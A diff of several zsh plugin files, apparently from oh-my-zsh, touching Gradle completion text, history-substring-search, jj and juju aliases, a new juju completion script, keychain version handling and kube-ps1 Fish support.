(--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
|
||||||
'--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
|
'--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
|
||||||
{-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories:->argument-expected' \
|
'--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
|
||||||
'--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
|
{-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
|
||||||
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
|
'--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
|
||||||
{-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
|
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
|
||||||
'--refresh-keys[Refresh the public keys used for dependency verification.]' \
|
{-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
|
||||||
|
'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
|
||||||
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
||||||
'--rerun-tasks[Ignore previously cached task results.]' \
|
'--rerun-tasks[Ignores previously cached task results.]' \
|
||||||
(--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
|
(--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
|
||||||
{-V,--show-version}'[Print version info and continue.]' \
|
{-V,--show-version}'[Print version info and continue.]' \
|
||||||
(--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
|
(--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
|
||||||
'--status[Shows status of running and recently stopped Gradle daemon(s).]' \
|
'--status[Shows the status of running and recently stopped Gradle daemons.]' \
|
||||||
'--stop[Stops the Gradle daemon if it is running.]' \
|
'--stop[Stops the Gradle daemon if it is running.]' \
|
||||||
'--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
|
'--task-graph[Prints the task graph instead of executing tasks.]' \
|
||||||
\*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
|
\*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
|
||||||
{-v,--version}'[Print version info and exit.]' \
|
{-v,--version}'[Print version info and exit.]' \
|
||||||
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
|
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
|
||||||
'--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none):->argument-expected' \
|
'--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
|
||||||
(--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
|
(--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
|
||||||
'--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
|
'--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
|
||||||
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]:->argument-expected' \
|
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
|
||||||
'(-)*:: :->task-or-option' && ret=0
|
'(-)*:: :->task-or-option' && ret=0
|
||||||
|
|
||||||
if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then
|
if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then
|
||||||
|
|||||||
@@ -23,7 +23,7 @@
|
|||||||
#
|
#
|
||||||
# Enable caching:
|
# Enable caching:
|
||||||
#
|
#
|
||||||
# If you want to use the cache, set the followings in your .zshrc:
|
# If you want to use the cache, set the following in your .zshrc:
|
||||||
#
|
#
|
||||||
# zstyle ':completion:*' use-cache yes
|
# zstyle ':completion:*' use-cache yes
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Requirements
|
|||||||
Install
|
Install
|
||||||
------------------------------------------------------------------------------
|
------------------------------------------------------------------------------
|
||||||
|
|
||||||
Using the [Homebrew]( https://brew.sh ) package manager:
|
Using the [Homebrew](https://brew.sh) package manager:
|
||||||
|
|
||||||
brew install zsh-history-substring-search
|
brew install zsh-history-substring-search
|
||||||
echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc
|
echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc
|
||||||
@@ -79,7 +79,7 @@ Using [Zinit](https://github.com/zdharma-continuum/zinit):
|
|||||||
|
|
||||||
2. Load the plugin in `~/.zshrc`:
|
2. Load the plugin in `~/.zshrc`:
|
||||||
|
|
||||||
zinit load 'zsh-users/zsh-history-substring-search
|
zinit load 'zsh-users/zsh-history-substring-search'
|
||||||
zinit ice wait atload'_history_substring_search_config'
|
zinit ice wait atload'_history_substring_search_config'
|
||||||
|
|
||||||
3. Run `exec zsh` to take changes into account:
|
3. Run `exec zsh` to take changes into account:
|
||||||
|
|||||||
@@ -3,6 +3,13 @@
|
|||||||
0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
|
0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
|
||||||
0="${${(M)0:#/*}:-$PWD/$0}"
|
0="${${(M)0:#/*}:-$PWD/$0}"
|
||||||
|
|
||||||
|
# Respect case sensitivity settings for globbing in history search
|
||||||
|
if [[ "$CASE_SENSITIVE" = true ]]; then
|
||||||
|
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
|
||||||
|
else
|
||||||
|
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
|
||||||
|
fi
|
||||||
|
|
||||||
source ${0:A:h}/history-substring-search.zsh
|
source ${0:A:h}/history-substring-search.zsh
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -45,14 +45,7 @@
|
|||||||
|
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_FOUND='bg=magenta,fg=white,bold'}
|
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_FOUND='bg=magenta,fg=white,bold'}
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_NOT_FOUND='bg=red,fg=white,bold'}
|
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_NOT_FOUND='bg=red,fg=white,bold'}
|
||||||
|
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
|
||||||
# Respect CASE_SENSITIVE setting for case sensitivity
|
|
||||||
if [[ "$CASE_SENSITIVE" = true ]]; then
|
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
|
|
||||||
else
|
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
|
|
||||||
fi
|
|
||||||
|
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_ENSURE_UNIQUE=''}
|
: ${HISTORY_SUBSTRING_SEARCH_ENSURE_UNIQUE=''}
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_FUZZY=''}
|
: ${HISTORY_SUBSTRING_SEARCH_FUZZY=''}
|
||||||
: ${HISTORY_SUBSTRING_SEARCH_PREFIXED=''}
|
: ${HISTORY_SUBSTRING_SEARCH_PREFIXED=''}
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ plugins=(... jj)
|
|||||||
| ------ | ----------------------------- |
|
| ------ | ----------------------------- |
|
||||||
| jja | `jj abandon` |
|
| jja | `jj abandon` |
|
||||||
| jjb | `jj bookmark` |
|
| jjb | `jj bookmark` |
|
||||||
|
| jjba | `jj bookmark advance` |
|
||||||
| jjbc | `jj bookmark create` |
|
| jjbc | `jj bookmark create` |
|
||||||
| jjbd | `jj bookmark delete` |
|
| jjbd | `jj bookmark delete` |
|
||||||
| jjbf | `jj bookmark forget` |
|
| jjbf | `jj bookmark forget` |
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ function jj_prompt_template() {
|
|||||||
# Aliases (sorted alphabetically)
|
# Aliases (sorted alphabetically)
|
||||||
alias jja='jj abandon'
|
alias jja='jj abandon'
|
||||||
alias jjb='jj bookmark'
|
alias jjb='jj bookmark'
|
||||||
|
alias jjba='jj bookmark advance'
|
||||||
alias jjbc='jj bookmark create'
|
alias jjbc='jj bookmark create'
|
||||||
alias jjbd='jj bookmark delete'
|
alias jjbd='jj bookmark delete'
|
||||||
alias jjbf='jj bookmark forget'
|
alias jjbf='jj bookmark forget'
|
||||||
@@ -69,3 +70,6 @@ alias jjrt='cd "$(jj root || echo .)"'
|
|||||||
alias jjsp='jj split'
|
alias jjsp='jj split'
|
||||||
alias jjsq='jj squash'
|
alias jjsq='jj squash'
|
||||||
alias jjst='jj status'
|
alias jjst='jj status'
|
||||||
|
alias jjwa='jj workspace add'
|
||||||
|
alias jjwf='jj workspace forget'
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,231 @@
|
|||||||
|
#compdef juju
|
||||||
|
(( $+functions[compdef] )) && compdef _juju juju
|
||||||
|
|
||||||
|
# zsh completion for juju -*- shell-script -*-
|
||||||
|
|
||||||
|
__juju_debug()
|
||||||
|
{
|
||||||
|
local file="$BASH_COMP_DEBUG_FILE"
|
||||||
|
if [[ -n ${file} ]]; then
|
||||||
|
echo "$*" >> "${file}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
__juju_help_options()
|
||||||
|
{
|
||||||
|
local out line token cleaned desc f
|
||||||
|
local -a opts pending
|
||||||
|
typeset -U opts
|
||||||
|
|
||||||
|
__juju_debug "[options] called with args: $*"
|
||||||
|
out=$(command juju help "$@" 2>/dev/null)
|
||||||
|
local rc=$?
|
||||||
|
__juju_debug "[options] juju help exit code: $rc, output length: ${#out}"
|
||||||
|
(( rc )) && return 1
|
||||||
|
|
||||||
|
while IFS= read -r line; do
|
||||||
|
if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then
|
||||||
|
for f in "${pending[@]}"; do opts+=("$f"); done
|
||||||
|
pending=()
|
||||||
|
for token in ${(z)line}; do
|
||||||
|
cleaned="${token%%,*}"
|
||||||
|
cleaned="${cleaned%%;*}"
|
||||||
|
cleaned="${cleaned%%]*}"
|
||||||
|
cleaned="${cleaned%%)*}"
|
||||||
|
cleaned="${cleaned%%=<*}"
|
||||||
|
cleaned="${cleaned%%=*}"
|
||||||
|
cleaned="${cleaned%%<*}"
|
||||||
|
cleaned="${cleaned%%\[*}"
|
||||||
|
cleaned="${cleaned%%\(*}"
|
||||||
|
[[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue
|
||||||
|
[[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue
|
||||||
|
__juju_debug "[options] found flag: $cleaned"
|
||||||
|
pending+=("$cleaned")
|
||||||
|
done
|
||||||
|
elif (( ${#pending} )) && [[ -n "$line" ]]; then
|
||||||
|
desc="${line#"${line%%[![:space:]]*}"}"
|
||||||
|
desc="${desc//:/\\:}"
|
||||||
|
__juju_debug "[options] desc for ${pending[*]}: $desc"
|
||||||
|
for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done
|
||||||
|
pending=()
|
||||||
|
elif [[ -z "$line" ]]; then
|
||||||
|
for f in "${pending[@]}"; do opts+=("$f"); done
|
||||||
|
pending=()
|
||||||
|
fi
|
||||||
|
done < <(printf "%s\n" "$out")
|
||||||
|
|
||||||
|
for f in "${pending[@]}"; do opts+=("$f"); done
|
||||||
|
__juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}"
|
||||||
|
|
||||||
|
printf "%s\n" "${opts[@]}"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
__juju_help_commands()
|
||||||
|
{
|
||||||
|
local line cmd desc out
|
||||||
|
out=$(command juju help commands 2>/dev/null) || return 1
|
||||||
|
|
||||||
|
while IFS= read -r line; do
|
||||||
|
# Strip leading whitespace
|
||||||
|
line="${line#"${line%%[![:space:]]*}"}"
|
||||||
|
# Only process lines starting with an alphanumeric (command names)
|
||||||
|
[[ "$line" =~ '^[[:alnum:]]' ]] || continue
|
||||||
|
# Split on the first run of 2+ spaces: left = cmd, right = description
|
||||||
|
cmd="${line%% *}"
|
||||||
|
# Validate it's a clean command token (no spaces, only alnum and dash)
|
||||||
|
[[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue
|
||||||
|
desc="${line#"$cmd"}"
|
||||||
|
desc="${desc#"${desc%%[![:space:]]*}"}"
|
||||||
|
if [[ -n "$desc" ]]; then
|
||||||
|
printf "%s:%s\n" "$cmd" "$desc"
|
||||||
|
else
|
||||||
|
printf "%s\n" "$cmd"
|
||||||
|
fi
|
||||||
|
done <<< "$out"
|
||||||
|
}
|
||||||
|
|
||||||
|
__juju_models()
|
||||||
|
{
|
||||||
|
# Optional argument: controller name. If given, fetch models for that controller.
|
||||||
|
if [[ -n "$1" ]]; then
|
||||||
|
command juju models -c "$1" --format=json 2>/dev/null \
|
||||||
|
| command jq -r '.models[]."short-name"' 2>/dev/null
|
||||||
|
else
|
||||||
|
command juju models --format=json 2>/dev/null \
|
||||||
|
| command jq -r '.models[]."short-name"' 2>/dev/null
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Complete a model token that may be prefixed with "controller:" — if a colon is
|
||||||
|
# present, fetch models for that controller and offer "ctrl:model" completions.
|
||||||
|
__juju_complete_model()
|
||||||
|
{
|
||||||
|
local current="$1"
|
||||||
|
local -a completions
|
||||||
|
|
||||||
|
__juju_debug "[complete_model] current='${current}'"
|
||||||
|
|
||||||
|
if [[ "$current" == *:* ]]; then
|
||||||
|
local ctrl="${current%%:*}"
|
||||||
|
local models
|
||||||
|
models=("${(@f)$(__juju_models "$ctrl")}")
|
||||||
|
completions=("${models[@]/#/${ctrl}:}")
|
||||||
|
__juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}"
|
||||||
|
compadd -S '' -q -- "${completions[@]}"
|
||||||
|
else
|
||||||
|
local -a models ctrls
|
||||||
|
models=("${(@f)$(__juju_models)}")
|
||||||
|
ctrls=("${(@f)$(__juju_controllers)}")
|
||||||
|
__juju_debug "[complete_model] models=${#models}: ${models[*]}"
|
||||||
|
__juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}"
|
||||||
|
__juju_debug "[complete_model] calling _alternative"
|
||||||
|
_alternative \
|
||||||
|
'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \
|
||||||
|
'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}'
|
||||||
|
__juju_debug "[complete_model] _alternative returned $?"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Commands whose first positional argument is a model name.
|
||||||
|
_juju_model_commands=(
|
||||||
|
destroy-model
|
||||||
|
grant-model
|
||||||
|
revoke-model
|
||||||
|
switch
|
||||||
|
)
|
||||||
|
|
||||||
|
# Flags that take a model name as their value.
|
||||||
|
_juju_model_flags=(
|
||||||
|
-m
|
||||||
|
--model
|
||||||
|
)
|
||||||
|
|
||||||
|
__juju_controllers()
|
||||||
|
{
|
||||||
|
command juju controllers --format=json 2>/dev/null \
|
||||||
|
| command jq -r '.controllers | keys | .[]' 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Commands whose first positional argument is a controller name.
|
||||||
|
_juju_controller_commands=(
|
||||||
|
destroy-controller
|
||||||
|
kill-controller
|
||||||
|
login
|
||||||
|
logout
|
||||||
|
unregister
|
||||||
|
)
|
||||||
|
|
||||||
|
# Flags that take a controller name as their value.
|
||||||
|
_juju_controller_flags=(
|
||||||
|
-c
|
||||||
|
--controller
|
||||||
|
)
|
||||||
|
|
||||||
|
_juju()
|
||||||
|
{
|
||||||
|
__juju_debug "[_juju] curcontext: ${curcontext}"
|
||||||
|
local -a completions
|
||||||
|
|
||||||
|
__juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT"
|
||||||
|
|
||||||
|
# Find the subcommand: first non-flag word typed after "juju", excluding the
|
||||||
|
# word currently being completed (words[CURRENT]).
|
||||||
|
local subcmd=""
|
||||||
|
local i
|
||||||
|
for (( i = 2; i < CURRENT; i++ )); do
|
||||||
|
if [[ "${words[i]}" != -* ]]; then
|
||||||
|
subcmd="${words[i]}"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
local current="${words[CURRENT]}"
|
||||||
|
local prev="${words[CURRENT-1]}"
|
||||||
|
|
||||||
|
__juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'"
|
||||||
|
|
||||||
|
# Controller name completion: flag value (e.g. juju status -c <TAB>)
|
||||||
|
if (( ${_juju_controller_flags[(I)$prev]} )); then
|
||||||
|
completions=("${(@f)$(__juju_controllers)}")
|
||||||
|
__juju_debug "[_juju] controller flag completions: ${#completions}"
|
||||||
|
(( ${#completions} )) && _describe "controller" completions && return 0
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Model name completion: flag value (e.g. juju status -m <TAB> or -m ctrl:<TAB>)
|
||||||
|
if (( ${_juju_model_flags[(I)$prev]} )); then
|
||||||
|
__juju_debug "[_juju] model flag completion, current: '${current}'"
|
||||||
|
__juju_complete_model "$current" && return 0
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ -z "$subcmd" ]]; then
|
||||||
|
# No subcommand yet — complete subcommand names.
|
||||||
|
completions=("${(@f)$(__juju_help_commands)}")
|
||||||
|
__juju_debug "[_juju] command completions count: ${#completions}"
|
||||||
|
(( ${#completions} )) && _describe "command" completions && return 0
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Controller name completion: positional arg (e.g. juju destroy-controller <TAB>)
|
||||||
|
if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
|
||||||
|
completions=("${(@f)$(__juju_controllers)}")
|
||||||
|
__juju_debug "[_juju] controller command completions: ${#completions}"
|
||||||
|
(( ${#completions} )) && _describe "controller" completions && return 0
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Model name completion: positional arg (e.g. juju destroy-model <TAB> or ctrl:<TAB>)
|
||||||
|
if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
|
||||||
|
__juju_debug "[_juju] model command completion, current: '${current}'"
|
||||||
|
__juju_complete_model "$current" && return 0
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Flag completion for all other subcommands (also shown without leading dash)
|
||||||
|
completions=("${(@f)$(__juju_help_options "$subcmd")}")
|
||||||
|
__juju_debug "[_juju] option completions count: ${#completions}"
|
||||||
|
(( ${#completions} )) && _describe "option" completions && return 0
|
||||||
|
return 1
|
||||||
|
}
|
||||||
@@ -1,17 +1,5 @@
|
|||||||
# ---------------------------------------------------------- #
|
# ---------------------------------------------------------- #
|
||||||
# Aliases and functions for juju (https://juju.is) #
|
# Aliases and functions for juju (https://juju.is) #
|
||||||
# ---------------------------------------------------------- #
|
|
||||||
|
|
||||||
# Load TAB completions
|
|
||||||
# You need juju's bash completion script installed. By default bash-completion's
|
|
||||||
# location will be used (i.e. pkg-config --variable=completionsdir bash-completion).
|
|
||||||
completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \
|
|
||||||
completion_file="/usr/share/bash-completion/completions/juju"
|
|
||||||
[[ -f "$completion_file" ]] && source "$completion_file"
|
|
||||||
unset completion_file
|
|
||||||
|
|
||||||
# ---------------------------------------------------------- #
|
|
||||||
# Aliases (in alphabetic order) #
|
|
||||||
# #
|
# #
|
||||||
# Generally, #
|
# Generally, #
|
||||||
# - `!` means --force --no-wait -y #
|
# - `!` means --force --no-wait -y #
|
||||||
@@ -132,6 +120,7 @@ jclean() {
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
echo
|
echo
|
||||||
|
local controller
|
||||||
for controller in ${=controllers}; do
|
for controller in ${=controllers}; do
|
||||||
timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller
|
timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller
|
||||||
timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null
|
timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null
|
||||||
@@ -165,10 +154,11 @@ jreld() {
|
|||||||
|
|
||||||
# Return Juju current controller
|
# Return Juju current controller
|
||||||
jcontroller() {
|
jcontroller() {
|
||||||
local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)"
|
local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml"
|
||||||
if [[ -z "$controller" ]]; then
|
[[ -f "$file" ]] || return 1
|
||||||
return 1
|
|
||||||
fi
|
local controller="$(awk '/current-controller/ {print $2}' "$file")"
|
||||||
|
[[ -z "$controller" ]] && return 1
|
||||||
|
|
||||||
echo $controller
|
echo $controller
|
||||||
return 0
|
return 0
|
||||||
@@ -176,6 +166,9 @@ jcontroller() {
|
|||||||
|
|
||||||
# Return Juju current model
|
# Return Juju current model
|
||||||
jmodel() {
|
jmodel() {
|
||||||
|
local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml"
|
||||||
|
[[ -f "$file" ]] || return 1
|
||||||
|
|
||||||
local yqbin="$(whereis yq | awk '{print $2}')"
|
local yqbin="$(whereis yq | awk '{print $2}')"
|
||||||
|
|
||||||
if [[ -z "$yqbin" ]]; then
|
if [[ -z "$yqbin" ]]; then
|
||||||
@@ -183,9 +176,10 @@ jmodel() {
|
|||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)"
|
local controller="$(jcontroller)"
|
||||||
|
local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)"
|
||||||
|
|
||||||
if [[ -z "$model" ]]; then
|
if [[ -z "$model" || $model == "null" ]]; then
|
||||||
echo "--"
|
echo "--"
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
@@ -194,9 +188,10 @@ jmodel() {
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
# Watch juju status, with optional interval (default: 5 sec)
|
# Watch juju status, with optional interval (default: 1 sec)
|
||||||
wjst() {
|
wjst() {
|
||||||
local interval="${1:-5}"
|
command -v juju >/dev/null 2>&1 || return 1
|
||||||
|
local interval="${1:-1}"
|
||||||
shift $(( $# > 0 ))
|
shift $(( $# > 0 ))
|
||||||
watch -n "$interval" --color juju status --relations --color "$@"
|
watch -n "$interval" --color juju status --relations --color "$@"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,37 +4,50 @@
|
|||||||
SHORT_HOST=${SHORT_HOST:-${(%):-%m}}
|
SHORT_HOST=${SHORT_HOST:-${(%):-%m}}
|
||||||
|
|
||||||
function {
|
function {
|
||||||
local agents
|
local -a identities
|
||||||
local -a identities
|
local -a options
|
||||||
local -a options
|
local _keychain_env_sh
|
||||||
local _keychain_env_sh
|
local _keychain_env_sh_gpg
|
||||||
local _keychain_env_sh_gpg
|
local version_string major
|
||||||
|
|
||||||
# load agents to start.
|
# load identities to manage.
|
||||||
zstyle -s :omz:plugins:keychain agents agents
|
zstyle -a :omz:plugins:keychain identities identities
|
||||||
|
|
||||||
# load identities to manage.
|
# load additional options
|
||||||
zstyle -a :omz:plugins:keychain identities identities
|
zstyle -a :omz:plugins:keychain options options
|
||||||
|
|
||||||
# load additional options
|
# Detect major version robustly: case-insensitive, tolerant of
|
||||||
zstyle -a :omz:plugins:keychain options options
|
# "keychain 3.0.0_beta3" / "Keychain 3.0.0" / etc.
|
||||||
|
version_string=$(keychain --version 2>&1)
|
||||||
|
if [[ "${version_string:l}" =~ '([0-9]+)\.[0-9]+' ]]; then
|
||||||
|
major=${match[1]}
|
||||||
|
else
|
||||||
|
major=2
|
||||||
|
fi
|
||||||
|
|
||||||
# Check keychain version to decide whether to use --agents
|
if (( major >= 3 )); then
|
||||||
local version_string=$(keychain --version 2>&1)
|
# Keychain 3.x: subcommand-based CLI, no --agents.
|
||||||
# start keychain, only use --agents for versions below 2.9.0
|
keychain add ${^options:-} --host $SHORT_HOST ${^identities}
|
||||||
autoload -Uz is-at-least
|
else
|
||||||
if [[ "$version_string" =~ 'keychain ([0-9]+\.[0-9]+)' ]] && \
|
local agents
|
||||||
is-at-least 2.9 "$match[1]"; then
|
|
||||||
keychain ${^options:-} ${^identities} --host $SHORT_HOST
|
|
||||||
else
|
|
||||||
keychain ${^options:-} --agents ${agents:-gpg} ${^identities} --host $SHORT_HOST
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Get the filenames to store/lookup the environment from
|
# load agents to start (only used by keychain < 2.9).
|
||||||
_keychain_env_sh="$HOME/.keychain/$SHORT_HOST-sh"
|
zstyle -s :omz:plugins:keychain agents agents
|
||||||
_keychain_env_sh_gpg="$HOME/.keychain/$SHORT_HOST-sh-gpg"
|
|
||||||
|
|
||||||
# Source environment settings.
|
autoload -Uz is-at-least
|
||||||
[ -f "$_keychain_env_sh" ] && . "$_keychain_env_sh"
|
if [[ "${version_string:l}" =~ 'keychain ([0-9]+\.[0-9]+)' ]] && \
|
||||||
[ -f "$_keychain_env_sh_gpg" ] && . "$_keychain_env_sh_gpg"
|
is-at-least 2.9 "$match[1]"; then
|
||||||
|
keychain ${^options:-} ${^identities} --host $SHORT_HOST
|
||||||
|
else
|
||||||
|
keychain ${^options:-} --agents ${agents:-gpg} ${^identities} --host $SHORT_HOST
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Get the filenames to store/lookup the environment from
|
||||||
|
_keychain_env_sh="$HOME/.keychain/$SHORT_HOST-sh"
|
||||||
|
_keychain_env_sh_gpg="$HOME/.keychain/$SHORT_HOST-sh-gpg"
|
||||||
|
|
||||||
|
# Source environment settings.
|
||||||
|
[ -f "$_keychain_env_sh" ] && . "$_keychain_env_sh"
|
||||||
|
[ -f "$_keychain_env_sh_gpg" ] && . "$_keychain_env_sh_gpg"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,9 @@
|
|||||||
# kube-ps1: Kubernetes prompt for bash and zsh
|
# kube-ps1: Kubernetes prompt for bash, zsh, and fish
|
||||||
|
|
||||||

|

|
||||||
[](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml)
|
[](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml)
|
||||||
|
|
||||||
A script that lets you add the current Kubernetes context and namespace
|
A script that lets you add the current Kubernetes context and namespace configured on `kubectl` to your Bash, Zsh, or Fish prompt.
|
||||||
configured on `kubectl` to your Bash/Zsh prompt strings (i.e. the `$PS1`).
|
|
||||||
|
|
||||||
Inspired by several tools used to simplify usage of `kubectl`.
|
Inspired by several tools used to simplify usage of `kubectl`.
|
||||||
|
|
||||||
@@ -77,6 +76,21 @@ source /path/to/kube-ps1.sh
|
|||||||
PS1='[\u@\h \W $(kube_ps1)]\$ '
|
PS1='[\u@\h \W $(kube_ps1)]\$ '
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### Fish
|
||||||
|
|
||||||
|
Add this to `~/.config/fish/config.fish`:
|
||||||
|
|
||||||
|
```fish
|
||||||
|
source /path/to/kube-ps1.fish
|
||||||
|
|
||||||
|
function fish_prompt
|
||||||
|
echo -n (kube_ps1) ' '
|
||||||
|
# your existing prompt here
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
> Note: Fish users should source `kube-ps1.fish` instead of `kube-ps1.sh`.
|
||||||
|
|
||||||
## Requirements
|
## Requirements
|
||||||
|
|
||||||
The default prompt assumes you have the `kubectl` command line utility installed.
|
The default prompt assumes you have the `kubectl` command line utility installed.
|
||||||
@@ -184,8 +198,7 @@ If the font is not properly installed, and the glyph is not available, it will d
|
|||||||
|
|
||||||
## Customization
|
## Customization
|
||||||
|
|
||||||
The default settings can be overridden in `~/.bashrc` or `~/.zshrc` by setting
|
The default settings can be overridden in `~/.bashrc`, `~/.zshrc`, or `~/.config/fish/config.fish` by setting the following variables:
|
||||||
the following variables:
|
|
||||||
|
|
||||||
| Variable | Default | Meaning |
|
| Variable | Default | Meaning |
|
||||||
| :------- | :-----: | ------- |
|
| :------- | :-----: | ------- |
|
||||||
|
|||||||
@@ -49,13 +49,32 @@ _kube_ps1_shell_type() {
|
|||||||
elif [ "${BASH_VERSION-}" ]; then
|
elif [ "${BASH_VERSION-}" ]; then
|
||||||
_KUBE_PS1_SHELL_TYPE="bash"
|
_KUBE_PS1_SHELL_TYPE="bash"
|
||||||
fi
|
fi
|
||||||
echo $_KUBE_PS1_SHELL_TYPE
|
echo "$_KUBE_PS1_SHELL_TYPE"
|
||||||
}
|
}
|
||||||
|
|
||||||
_kube_ps1_init() {
|
_kube_ps1_init() {
|
||||||
